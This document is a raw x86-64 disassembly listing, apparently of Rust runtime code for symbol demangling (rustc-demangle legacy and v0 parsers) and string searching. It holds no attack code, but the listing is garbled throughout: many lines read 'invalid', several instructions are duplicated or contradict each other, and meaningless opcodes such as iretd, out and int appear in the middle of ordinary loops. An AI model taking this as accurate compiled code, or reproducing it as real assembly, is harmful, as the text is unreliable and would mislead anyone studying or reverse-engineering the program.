cmp rcx, rax
jae 0x1400cd610
mov rsi, rcx
add rcx, r9
add ecx, ecx
cmp rcx, rdx
jae 0x1400cde4f
lea rcx, [rsi + 1]
lea ecx, [rsi + 1]
movzx r14d, byte [rbx + rsi]
cmp r14b, byte [r10 + rsi]
je 0x1400cd5e0
sub r9, r13
add r9, rsi
inc r9
jmp 0x1400cd5b3
mov rcx, r13
nop word cs:[rax + rax]
cmp r15, rcx
jae 0x1400cdece
iretd
dec rcx
cmp rcx, rax
jae 0x1400ce021
lea r10, [rcx + r9]
cmp r10, rdx
jae 0x1400cde68
invalid
add byte [rdi], cl
mov dh, 0x34
or eax, dword [rbx + 0x3a]
xor al, 0x10
movzx esi, byte [rbx + rcx]
cmp sil, byte [r8 + r10]
je 0x1400cd620
add r9, qword [rbp + 0x40]
mov r15, qword [rbp + 0x48]
lea rcx, [r9 + r11]
cmp rcx, rdx
jb 0x1400cd5c3
invalid
invalid
invalid
jmp 0x1400cd798
mov rcx, rbx
mov rdx, r15
call fcn.1400cbf70
mov rax, qword [rbp - 0x50]
mov r8b, 0x48
cmp eax, 1
mov r8b, 0x48
cmp eax, 1
je 0x1400cd670
test rax, rax
jne 0x1400cd7a0
mov r9, qword [rbp - 0x48]
mov r8, r9
add r8, 6
jne 0x1400cdedf
or byte [rax], al
invalid
or byte [rax], al
add cl, ch
push rsi
or byte [rax], al
add byte [rbx + rcx*4 + 0x4d], cl
add byte [rdi - 0x73], cl
adc al, 0x19
jmp 0x1400cdefa
cmp r10, rdx
jae 0x1400cd798
add byte [rax], al
add byte [rax], al
mov rdi, qword [rbp - 8]
mov r12, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x10]
mov qword [rbp + 0x40], rcx
lea rcx, [r12 - 1]
lea r13, [rbx + r12]
dec r13
invalid
int 0x48
mov dword [rbp + 0x48], ecx
mov qword [rbp + 0x48], rcx
jmp 0x1400cd6f0
add r9, rax
lea r10, [r9 + r11]
cmp r10, rdx
jae 0x1400cd798
movzx r10d, byte [r8 + r10]
bt rdi, r10
jae 0x1400cd6e0
lea r10, [r8 + r9]
mov rsi, r12
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
cmp rsi, rax
jae 0x1400cd73e
mov r15, rsi
add rsi, r9
cmp rsi, rdx
jae 0x1400cde77
lea rsi, [r15 + 1]
movzx r14d, byte [rbx + r15]
cmp r14b, byte [r10 + r15]
je 0x1400cd710
sub r9, r12
add r9, r15
inc r9
jmp 0x1400cd6e3
cmp rcx, rax
jae 0x1400cdec5
lea r10, [rcx + r9]
mov rcx, r13
mov r15, r12
nop word cs:[rax + rax]
sub r15, 1
jb 0x1400cdece
cmp r10, rdx
jae 0x1400cde68
movzx esi, byte [r13]
dec r13
lea r14, [r10 - 1]
add byte [rcx - 1], cl
int 0x4d
lea esi, [rdx - 1]
cmp sil, byte [r8 + r10]
mov r10, r14
je 0x1400cd760
add r9, qword [rbp + 0x40]
mov r13, rcx
mov rcx, qword [rbp + 0x48]
jmp 0x1400cd6e3
mov r13, qword [rbp + 0x50]
mov rsi, qword [rbp - 0x30]
cmp rsi, 3
jae 0x1400cd7dd
mov r12d, 2
cmp rsi, 2
jne 0x1400cdfe6
movzx eax, word [r13]
cmp eax, 0x4e5a
jne case.0x14001a5bd.2415
mov r15, 0xfffffffffffffffe
mov ebx, 2
mov r8d, 2
jmp 0x1400cd867
movzx eax, word [r13]
xor eax, 0x5a5f
movzx ecx, byte [r13 + 2]
xor ecx, 0x4e
or cx, ax
je 0x1400cd825
movzx eax, word [r13]
cmp eax, 0x4e5a
je 0x1400cd83f
mov ebx, 3
cmp rsi, 3
je 0x1400cd960
cmp dword [r13], 0x4e5a5f5f
je 0x1400cd8fa
mov rbx, rsi
jmp 0x1400cd960
mov r15, 0xfffffffffffffffd
mov r8d, 3
cmp rsi, 3
jne 0x1400cd859
mov ebx, 3
jmp 0x1400cd867
cmp byte [r13 + 2], 0xbf
jle 0x1400ce098
mov r8d, 2
mov r15, 0xfffffffffffffffe
jmp 0x1400cd864
cmp byte [r13 + 3], 0xbf
jle 0x1400ce0b8
mov rbx, rsi
add r15, rbx
add r8, r13
lea r9, [r8 + r15]
xor eax, eax
nop word cs:[rax + rax]
cmp r15, rax
je 0x1400cd895
cmp byte [r8 + rax], 0
lea rax, [rax + 1]
jns 0x1400cd880
jmp 0x1400cd95a
test r15, r15
je 0x1400cd95a
movzx ecx, byte [r8]
movzx edx, cl
test dl, dl
js 0x1400cd8b2
lea rcx, [r8 + 1]
jmp 0x1400cd945
mov eax, edx
and eax, 0x1f
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x1400cd924
movzx edx, byte [r8 + 2]
shl r10d, 6
and edx, 0x3f
or edx, r10d
cmp cl, 0xf0
jb 0x1400cd93c
lea rcx, [r8 + 4]
movzx r10d, byte [r8 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and r10d, 0x3f
or r10d, edx
or r10d, eax
mov edx, r10d
jmp 0x1400cd945
mov r15, 0xfffffffffffffffc
mov r8d, 4
cmp rsi, 5
jb 0x1400cd932
cmp byte [r13 + 4], 0xbf
jg 0x1400cd864
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x1400ce0bf
lea rcx, [r8 + 2]
shl eax, 6
or eax, r10d
mov edx, eax
jmp 0x1400cd945
mov ebx, 4
jmp 0x1400cd867
lea rcx, [r8 + 3]
shl eax, 0xc
or edx, eax
cmp edx, 0x45
je 0x1400cdb72
cmp edx, 0x110000
jne 0x1400cdb88
cmp rbx, 3
jb case.0x14001a5bd.2415
movzx eax, word [r13]
cmp eax, 0x525f
je 0x1400cda0a
cmp byte [r13], 0x52
je 0x1400cd9e1
mov r12d, 2
cmp rbx, 3
je 0x1400cdfe6
movzx eax, word [r13]
xor eax, 0x5f5f
movzx ecx, byte [r13 + 2]
xor ecx, 0x52
or cx, ax
jne 0x1400cdfe6
movzx eax, byte [r13 + 3]
cmp al, 0xbf
jle 0x1400ce0d2
lea r15, [r13 + 3]
mov r14, 0xfffffffffffffffd
add al, 0xbf
mov r12d, 2
cmp al, 0x19
jbe 0x1400cda32
jmp 0x1400cdfe6
mov ebx, 2
cmp byte [r13], 0x52
mov r12d, 2
jne 0x1400cdfe6
movzx eax, byte [r13 + 1]
cmp al, 0xbf
mov dh, 0x45
add dword [rdi + rdi*4], edi
jle 0x1400ce030
lea r15, [r13 + 1]
mov r14, 0xffffffffffffffff
add al, 0xbf
mov r12d, 2
cmp al, 0x19
jbe 0x1400cda32
jmp 0x1400cdfe6
movzx eax, byte [r13 + 2]
cmp al, 0xbf
jle 0x1400ce050
lea r15, [r13 + 2]
mov r14, 0xfffffffffffffffe
invalid
invalid
inc dword [rdi + rdi*4]
mov r12d, 2
cmp al, 0x19
ja 0x1400cdfe6
invalid
add r14, rbx
xor eax, eax
nop word [rax + rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x39], cl
invalid
cmp r14, rax
je 0x1400cda55
cmp byte [r15 + rax], 0
lea rax, [rax + 1]
jns 0x1400cda40
jmp 0x1400cdfe6
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x10], 0
add byte [rax], al
add byte [rax], al
mov qword [rbp - 8], 0
mov dword [rbp], 0
lea rcx, [rbp - 0x28]
xor edx, edx
call fcn.1400c8660
test al, al
jne 0x1400ce070
test edx, esp
invalid
add byte [rax], al
test edx, esp
add eax, 0x8b480000
fmul dword [r8 - 0x7b]
leave
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400cdfe6
movzx eax, byte [rbp - 0x20]
movzx edx, byte [rbp - 0x19]
shl edx, 0x10
movzx r8d, word [rbp - 0x1b]
movzx eax, word [rbp - 0x1b]
movzx eax, word [rbp - 0x1b]
or r8d, edx
shl r8, 0x20
mov r9d, dword [rbp - 0x1f]
or r9, r8
mov r8, qword [rbp - 0x18]
shl r9, 8
or r9, rax
cmp r8, r9
cmp eax, ecx
cmp eax, ecx
jae 0x1400cdb41
movzx eax, byte [rcx + r8]
add al, 0xbf
cmp al, 0x1a
jae 0x1400cdb41
movsd xmm0, qword [rbp - 0x10]
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x20], r9
mov qword [rbp - 0x18], r8
call 0x13051edf8
call 0x13051edf8
mov qword [rbp - 8], 0
mov dword [rbp], 0
lea rcx, [rbp - 0x28]
fdiv dword [rcx]
shr al, cl
pop rbp
stosd dword [rdi], eax
invalid
inc dword [rax + rax*8 + 0x565850f]
add byte [rax], al
fdiv dword [rcx]
shr al, cl
pop rbp
stosd dword [rdi], eax
invalid
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400cdfe6
movzx eax, byte [rbp - 0x20]
movzx edx, byte [rbp - 0x19]
shl edx, 0x10
mov dh, 0x45
loopne 0x1400cdb2c
mov dh, 0x55
out 0xc1, eax
loop 0x1400cdb33
movzx r8d, word [rbp - 0x1b]
or r8d, edx
shl r8, 0x20
shl eax, 0x20
mov r9d, dword [rbp - 0x1f]
or r9, r8
mov r8, qword [rbp - 0x18]
shl r9, 8
or r9, rax
test r8, r8
je 0x1400cdd11
cmp r9, r8
jbe 0x1400cdd0b
invalid
add dword [rax], eax
invalid
mov eax, 0x42000001
cmp byte [rcx + rax], 0xbf
cmp byte [rcx + r8], 0xbf
jg 0x1400cdd11
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov rdx, r9
call fcn.1401087e0
xor r14d, r14d
sub r9, rcx
test r9, r9
jne 0x1400cdd23
xor edx, edx
jmp 0x1400cde9a
xor r14d, r14d
mov r10d, 0xa
lea eax, [rdx - 0x30]
cmp eax, 9
ja 0x1400cd95a
xor eax, eax
jmp 0x1400cdbb0
inc rcx
cmp edx, 0x110000
je 0x1400cd95a
lea r11d, [rdx - 0x30]
cmp r11d, 0xa
jae 0x1400cdc55
mul r10
mul edx
jo 0x1400cd95a
mov edx, r11d
add rax, rdx
jb 0x1400cd95a
cmp rcx, r9
je 0x1400cd95a
movzx edi, byte [rcx]
movzx edx, dil
test dl, dl
jns 0x1400cdba1
mov r11d, edx
and r11d, 0x1f
movzx r12d, byte [rcx + 1]
and r12d, 0x3f
cmp dl, 0xdf
jbe 0x1400cdc32
movzx edx, byte [rcx + 2]
shl r12d, 6
and edx, 0x3f
or edx, r12d
cmp dil, 0xf0
jb 0x1400cdc45
movzx esi, byte [rcx + 3]
add rcx, 4
and r11d, 7
shl r11d, 0x12
shl edx, 6
and esi, 0x3f
or esi, edx
or esi, r11d
mov edx, esi
jmp 0x1400cdba4
add rcx, 2
shl r11d, 6
or r11d, r12d
mov edx, r11d
jmp 0x1400cdba4
add rcx, 3
shl r11d, 0xc
or edx, r11d
jmp 0x1400cdba4
test rax, rax
jne 0x1400cdc73
inc r14
cmp edx, 0x45
jne 0x1400cdb91
jmp case.0x14001a5bd.2403
inc rcx
dec rax
je 0x1400cdc5a
cmp rcx, r9
je 0x1400cd95a
movzx r12d, byte [rcx]
movzx edx, r12b
test dl, dl
jns 0x1400cdc6b
mov rsi, r13
mov r11d, edx
and r11d, 0x1f
movzx r13d, byte [rcx + 1]
and r13d, 0x3f
cmp dl, 0xdf
jbe 0x1400cdce0
movzx edi, byte [rcx + 2]
shl r13d, 6
and edi, 0x3f
or edi, r13d
cmp r12b, 0xf0
jb 0x1400cdcf6
movzx edx, byte [rcx + 3]
and r11d, 7
shl r11d, 0x12
shl edi, 6
and edx, 0x3f
or edx, edi
or edx, r11d
cmp edx, 0x110000
mov r13, rsi
je 0x1400cd95a
add rcx, 4
jmp 0x1400cdc6e
add rcx, 2
shl r11d, 6
or r11d, r13d
mov edx, r11d
mov r13, rsi
jmp 0x1400cdc6e
add rcx, 3
shl r11d, 0xc
or edi, r11d
mov edx, edi
mov r13, rsi
jmp 0x1400cdc6e
jne 0x1400cdb5e
add rcx, r8
sub r9, r8
xor r8d, r8d
test r9, r9
je 0x1400cdb81
mov r12d, 2
cmp byte [rcx], 0x2e
jne 0x1400cdfe6
mov qword [rbp + 0x50], r9
lea rax, [rcx + r9]
mov r11b, 0x2e
movabs rsi, 0x7e0000007f
mov r10, rcx
test r11b, r11b
jns 0x1400cde00
nop word cs:[rax + rax]
mov edx, r11d
and dl, 0x1f
movzx edi, dl
movzx edx, byte [r10 + 1]
and edx, 0x3f
cmp r11b, 0xdf
jbe 0x1400cddbe
mov r9, rbx
mov rbx, r13
movzx r13d, byte [r10 + 2]
shl edx, 6
and r13d, 0x3f
or r13d, edx
cmp r11b, 0xf0
jb 0x1400cddd5
movzx r11d, byte [r10 + 3]
and edi, 7
shl edi, 0x12
shl r13d, 6
and r11d, 0x3f
or r11d, r13d
or r11d, edi
cmp r11d, 0x110000
je 0x1400cde90
add r10, 4
jmp 0x1400cdde2
add r10, 2
shl edi, 6
or edi, edx
mov r11d, edi
lea edx, [r11 - 0x21]
cmp edx, 0x19
jae 0x1400cde10
jmp 0x1400cde2d
add r10, 3
shl edi, 0xc
or r13d, edi
mov r11d, r13d
mov r13, rbx
mov rbx, r9
lea edx, [r11 - 0x21]
cmp edx, 0x19
jae 0x1400cde10
jmp 0x1400cde2d
inc r10
movzx r11d, r11b
lea edx, [r11 - 0x21]
cmp edx, 0x19
jb 0x1400cde2d
mov edx, r11d
and edx, 0xffffffdf
add edx, 0xffffffbf
cmp edx, 0x1a
jb 0x1400cde2d
lea edx, [r11 - 0x3a]
cmp edx, 0x26
ja 0x1400cde40
bt rsi, rdx
jae 0x1400cde40
cmp r10, rax
je 0x1400cde96
movzx r11d, byte [r10]
test r11b, r11b
jns 0x1400cde00
jmp 0x1400cdd60
add r11d, 0xffffff81
cmp r11d, 0xfffffffc
jae 0x1400cde2d
jmp 0x1400cdfe6
add rdi, r9
cmp rdx, rdi
cmova rdi, rdx
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_strpattern.rs
mov rcx, rdi
call fcn.1401082d0
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_strpattern.rs
mov rcx, r10
call fcn.1401082d0
add r9, r12
cmp rdx, r9
cmova r9, rdx
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_strpattern.rs
mov rcx, r9
call fcn.1401082d0
mov r13, rbx
mov rbx, r9
mov rdx, qword [rbp + 0x50]
mov rax, qword [rbp - 0x38]
mov qword [rax + 8], r8
mov dword [rax + 8], eax
mov dword [rax + 8], eax
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r13
mov qword [rax + 0x28], rbx
mov qword [rax + 0x30], rcx
mov qword [rax + 0x38], rdx
mov r12d, 1
jmp 0x1400cdfe6
test r12, r12
jne 0x1400ce021
mov r13, qword [rbp + 0x50]
mov rsi, qword [rbp - 0x30]
mov r8, r9
add r8, 6
je 0x1400cdefa
cmp r8, rsi
jae 0x1400cdef8
cmp byte [r13 + r8], 0xbf
jg 0x1400cdefa
lea rax, [0x1401442e0]
jmp 0x1400ce0bf
jne 0x1400cdeec
add r8, r13
lea rax, [rsi + r13]
jmp 0x1400cdf2c
add r8, 2
shl edx, 6
or edx, edi
mov ecx, edx
lea edx, [rcx - 0x40]
cmp edx, 7
jb 0x1400cdf2c
nop word cs:[rax + rax]
add ecx, 0xffffffd0
cmp ecx, 0xa
jae 0x1400cd7a0
cmp r8, rax
je 0x1400cdfc6
movzx r11d, byte [r8]
movzx ecx, r11b
test cl, cl
js 0x1400cdf50
inc r8
lea edx, [rcx - 0x40]
cmp edx, 7
jae 0x1400cdf20
jmp 0x1400cdf2c
mov edx, ecx
and edx, 0x1f
movzx edi, byte [r8 + 1]
and edi, 0x3f
cmp cl, 0xdf
jbe 0x1400cdf03
movzx r10d, byte [r8 + 2]
shl edi, 6
and r10d, 0x3f
or r10d, edi
cmp r11b, 0xf0
jb 0x1400cdfa8
movzx ecx, byte [r8 + 3]
and edx, 7
shl edx, 0x12
shl r10d, 6
and ecx, 0x3f
or ecx, r10d
or ecx, edx
cmp ecx, 0x110000
je 0x1400cdfc6
add r8, 4
lea edx, [rcx - 0x40]
cmp edx, 7
jae 0x1400cdf20
jmp 0x1400cdf2c
add r8, 3
shl edx, 0xc
or r10d, edx
mov ecx, r10d
lea edx, [rcx - 0x40]
cmp edx, 7
jae 0x1400cdf20
jmp 0x1400cdf2c
test r9, r9
je 0x1400cdfe0
cmp r9, rsi
jae 0x1400ce001
cmp byte [r13 + r9], 0xbf
jle 0x1400ce007
mov rsi, r9
jmp 0x1400cd7a0
mov r12d, 2
mov rax, qword [rbp - 0x38]
mov qword [rax], r12
add rsp, 0xd8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
je 0x1400cd7a0
lea rax, [0x1401442f8]
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, rsi
xor r8d, r8d
call fcn.1401087e0
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_strpattern.rs
mov rdx, rax
call fcn.1401082d0
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r13
mov rdx, rbx
mov r9, rbx
call fcn.1401087e0
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov r8d, 2
mov rcx, r13
mov rdx, rbx
mov r9, rbx
call fcn.1401087e0
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x140143c18]
lea r8, [rbp - 0x50]
mov edx, 0x3d
call fcn.140108600
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 2
mov rcx, r13
mov ecx, ebp
mov ecx, ebp
mov rdx, rsi
mov r9, rsi
call fcn.1401087e0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
mov ecx, ebp
mov ecx, ebp
mov rdx, rsi
mov r9, rsi
call fcn.1401087e0
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov r8d, 3
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
mov rdx, rbx
mov r9, rbx
call fcn.1401087e0
int3
int3
add byte [rax], al
mov r12, rdx
mov rax, qword [rcx]
mov rbx, qword [rax]
test rbx, rbx
je 0x1400ceb9b
mov rcx, qword [rax + 8]
mov qword [rbp + 0x18], rcx
mov rax, qword [rax + 0x10]
xor ecx, ecx
mov qword [rbp + 0x20], r12
mov qword [rbp], rax
jmp 0x1400ce17b
mov r12, qword [rbp + 0x20]
mov esp, dword [rbp + 0x20]
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov rdx, r15
mov r8, r14
call qword [rax + 0x18]
test al, al
mov r15d, dword [rbp + 0xc]
mov rax, qword [rbp]
mov rcx, qword [rbp - 8]
jne 0x1400cebd0
cmp rcx, rax
setne r15b
je 0x1400cebd0
cmp qword [rbp + 0x18], 0
cmp dword [rbp + 0x18], 0
je 0x1400cec02
lea rax, [rcx + 1]
mov qword [rbp - 8], rax
movzx edx, byte [rbx]
movzx eax, dl
mov r14, qword [rbp + 0x18]
lea r9, [r14 - 1]
xor r10d, r10d
mov r8d, edx
test r8b, r8b
jns 0x1400ce1e0
jmp 0x1400ce218
shl r11d, 0xc
shl ebx, 0xc
or edi, r11d
mov esi, edi
lea r13, [rbx + r10]
add esi, 0xffffffd0
cmp esi, 9
jbe 0x1400ce1f4
jmp 0x1400ce290
add byte [rax], r8b
movzx esi, r8b
lea r13, [rbx + r10]
add esi, 0xffffffd0
cmp esi, 9
ja 0x1400ce290
cmp r9, r10
je 0x1400cec02
invalid
or al, byte [rax]
invalid
add eax, 0x4600000a
movzx eax, byte [rbx + rdx + 1]
invalid
movzx r8d, byte [rbx + r10 + 1]
add dword [rcx - 0x80], eax
clc
mov edi, 0xa2e8e0f
add byte [rax], al
cmp r8b, 0xbf
jle 0x1400cec3b
dec r14
inc r10
test r8b, r8b
jns 0x1400ce1e0
mov r11d, r8d
and r11b, 0x1f
invalid
movzx r11d, r11b
movzx esi, byte [rbx + r10 + 1]
and esi, 0x3f
cmp r8b, 0xdf
jbe 0x1400ce270
invalid
movzx edi, byte [rbx + r10 + 2]
shl esi, 6
invalid
and edi, 0x3f
or edi, esi
cmp r8b, 0xf0
jb 0x1400ce1c0
invalid
movzx esi, byte [rbx + r10 + 3]
and r11d, 7
shl r11d, 0x12
jrcxz 0x1400ce26a
jrcxz 0x1400ce26a
shl edi, 6
and esi, 0x3f
or esi, edi
or esi, r11d
cmp esi, 0x110000
jne 0x1400ce280
adc eax, 0x992e9
add byte [rcx - 0x3f], al
jmp 0x1400cec02
shl r11d, 6
jrcxz 0x1400ce27a
or r11d, esi
mov esi, r11d
nop word [rax + rax]
lea r13, [rbx + r10]
add esi, 0xffffffd0
cmp esi, 9
jbe 0x1400ce1f4
invalid
invalid
invalid
mov r9, qword [rbp + 0x18]
sub r9, r14
je 0x1400ce2a4
cmp byte [rbx + r9], 0xbf
jle 0x1400cece5
cmp r9, 1
je 0x1400ce2d0
test r9, r9
je 0x1400cecde
cmp dl, 0x2b
jne 0x1400ce2f0
inc rbx
lea rax, [r9 - 1]
cmp r9, 0x12
mov r9, rax
jb 0x1400ce300
jmp 0x1400ce340
mov dl, 1
cmp eax, 0x2b
je 0x1400cec10
mov r9d, 1
cmp eax, 0x2d
clc
invalid
jne 0x1400ce300
clc
sub eax, 0x25e91a75
and eax, 0xf000009
jmp 0x1400cec10
and eax, 0xf000009
invalid
cmp r9, 0x11
jae 0x1400ce340
nop word cs:[rax + rax]
add byte [rax], al
xor edx, edx
xor eax, eax
nop word cs:[rax + rax]
movzx r10d, byte [rbx + rdx]
add r10d, 0xffffffd0
cmp r10d, 9
cmp edx, 9
cmp edx, 9
ja 0x1400cec0e
lea rax, [rax + rax*4]
mov r10d, r10d
lea rax, [r10 + rax*2]
inc rdx
cmp r9, rdx
jne 0x1400ce310
jmp 0x1400ce385
xor r10d, r10d
xor eax, eax
nop word cs:[rax + rax]
movzx r11d, byte [rbx + r10]
add r11d, 0xffffffd0
mov edx, 0xa
mul rdx
jo 0x1400cec5b
cmp r11d, 0xa
jae 0x1400cec0e
mov edx, r11d
add rax, rdx
jb 0x1400cec66
inc r10
cmp r9, r10
jne 0x1400ce350
test rax, rax
je 0x1400ce3a6
cmp r14, rax
jbe 0x1400ce3a0
cmp byte [r13 + rax], 0xbf
jg 0x1400ce3a6
jmp 0x1400cec87
jne 0x1400cec87
lea rbx, [rax + r13]
mov rdx, qword [rbp - 8]
cmp rdx, qword [rbp]
jne 0x1400ce4e0
mov edx, dword [r12 + 0x34]
and edx, 4
je 0x1400ce4e0
cmp r8b, 0x68
jne 0x1400ce4e0
test rax, rax
je 0x1400ce4e0
cmp rax, 1
je 0x1400ce3ea
cmp byte [r13 + 1], 0xbf
jle 0x1400ced22
lea rdx, [r13 + 1]
jmp 0x1400ce422
add rdx, 2
shl r9d, 6
or r9d, esi
mov r8d, r9d
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jb 0x1400ce422
nop dword [rax + rax]
or r8d, 0x20
add r8d, 0xffffff9f
cmp r8d, 6
jae 0x1400ce4e0
cmp rdx, rbx
je 0x1400cebcd
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
js 0x1400ce450
inc rdx
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce410
jmp 0x1400ce422
mov r9d, r8d
and r9d, 0x1f
movzx esi, byte [rdx + 1]
and esi, 0x3f
cmp r8b, 0xdf
jbe 0x1400ce3f0
movzx r10d, byte [rdx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x1400ce4b8
movzx r8d, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x1400cebcd
add rdx, 4
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce410
jmp 0x1400ce422
add rdx, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce410
jmp 0x1400ce422
test rcx, rcx
je 0x1400ce510
mov rcx, qword [r12 + 0x20]
mov r9, qword [r12 + 0x28]
mov r8d, 2
add byte [rax], al
add byte [rax], al
lea rdx, [0x140143e08]
mov rsi, rax
call qword [r9 + 0x18]
mov ecx, eax
mov rax, rsi
test cl, cl
jne 0x1400cebd0
invalid
add byte [rax], al
invalid
cmp rax, 2
mov dword [rbp + 0xc], r15d
jb 0x1400ce52b
movzx ecx, word [r13]
cmp ecx, 0x245f
je 0x1400ceb84
add byte [rax], al
add byte [rax], al
mov rcx, rax
sub r14, rax
mov qword [rbp + 0x18], r14
mov r15, r13
mov r14, rcx
test rcx, rcx
je 0x1400ce590
movzx eax, byte [r15]
cmp eax, 0x24
clc
and al, 0xf
test byte [rbx + 1], dl
add byte [rax], al
clc
and al, 0xf
test byte [rbx + 1], dl
add byte [rax], al
cmp eax, 0x2e
jne 0x1400ce590
cmp r14, 1
jne 0x1400ce798
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 1
lea rdx, [0x1401496a9]
call qword [rax + 0x18]
test al, al
je 0x1400ceb63
invalid
add cl, ch
jp 0x1400ce587
jmp 0x1400cebfd
add byte [rax], al
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
lea rax, [r15 + r14]
xor r8d, r8d
mov rcx, r15
stc
stc
jmp 0x1400ce5c2
lea r9, [rcx + 1]
cmp edx, 0x24
je 0x1400ce670
mov r8, rdi
sub r8, rcx
add r8, r9
enter 0xffffffffffff894c, 0xffffffffffffffc9
enter 0xffffffffffff894c, 0xffffffffffffffc9
cmp edx, 0x2e
je 0x1400ce670
cmp rcx, rax
je 0x1400ce150
mov rdi, r8
movzx r9d, byte [rcx]
or dword [rcx + 0xf], eax
mov dh, 0xd1
or dword [rcx + 0xf], eax
mov dh, 0xd1
test dl, dl
jns 0x1400ce5a0
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x1400ce639
movzx r10d, byte [rcx + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp r9b, 0xf0
jb 0x1400ce652
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r8d
cmp edx, 0x110000
je 0x1400ce150
test byte [rsi], ah
sti
invalid
invalid
test byte [rsi], ah
sti
invalid
lea r9, [rcx + 4]
cmp edx, 0x24
jne 0x1400ce5ad
jmp 0x1400ce670
lea r9, [rcx + 2]
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0x24
jne 0x1400ce5ad
jmp 0x1400ce670
lea r9, [rcx + 3]
shl r8d, 0xc
or r10d, r8d
mov edx, r10d
cmp edx, 0x24
jne 0x1400ce5ad
invalid
invalid
invalid
invalid
nop dword [rax]
test rdi, rdi
je 0x1400ce735
cmp r14, rdi
mov r12, qword [rbp + 0x20]
jbe 0x1400ce755
iretd
add byte [rax], al
invalid
iretd
cmp byte [r15 + rdi], 0xbf
jg 0x1400ce75b
jmp 0x1400ceca4
add byte [rax], al
cmp r14, 1
je 0x1400ce6b1
cmp byte [r15 + 1], 0xbf
jle 0x1400ced2b
lea rax, [r14 - 1]
lea rdi, [r15 + 1]
mov qword [rbp - 0x38], rdi
mov dword [rbp - 0x38], edi
mov dword [rbp - 0x38], edi
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], rax
mov byte [rbp - 0x10], 1
movabs rax, 0x2400000024
add byte [rax + rax], ah
add byte [rax], al
add byte [rax + rax], ah
add byte [rax], al
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x38]
call fcn.1400c8210
cmp qword [rbp - 0x50], 0
je 0x1400ce150
test byte [rcx - 6], bl
invalid
invalid
test byte [rcx - 6], bl
invalid
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xffffffffffffffff
je 0x1400ced00
lea r9, [rdx + 1]
cmp r14, 1
je 0x1400ce718
invalid
or dword [rax - 0x73f03fc1], eax
push rdx
add eax, 0x394d0000
int1
cmp byte [rdi], 0xc0
jl 0x1400cec6a
cmp r9, r14
jae 0x1400ce7fa
cmp byte [r15 + r9], 0xc0
jl 0x1400cec6a
add byte [rax], al
add byte [rax], al
lea r13, [rdx + 2]
jmp 0x1400ce810
mov r12, qword [rbp + 0x20]
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov rdx, r15
xor r8d, r8d
call qword [rax + 0x18]
test al, al
je 0x1400ce78d
jmp 0x1400cebfd
jne 0x1400ceca4
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
and al, 0x28
and al, 0x28
mov rdx, r15
mov r8, rdi
call qword [rax + 0x18]
test al, al
jne 0x1400cebfd
cmp r14, rdi
jbe 0x1400ce787
cmp byte [r15 + rdi], 0xc0
jge 0x1400ce78d
invalid
jmp 0x1400cecc1
jne 0x1400cecc1
sub r14, rdi
add r15, rdi
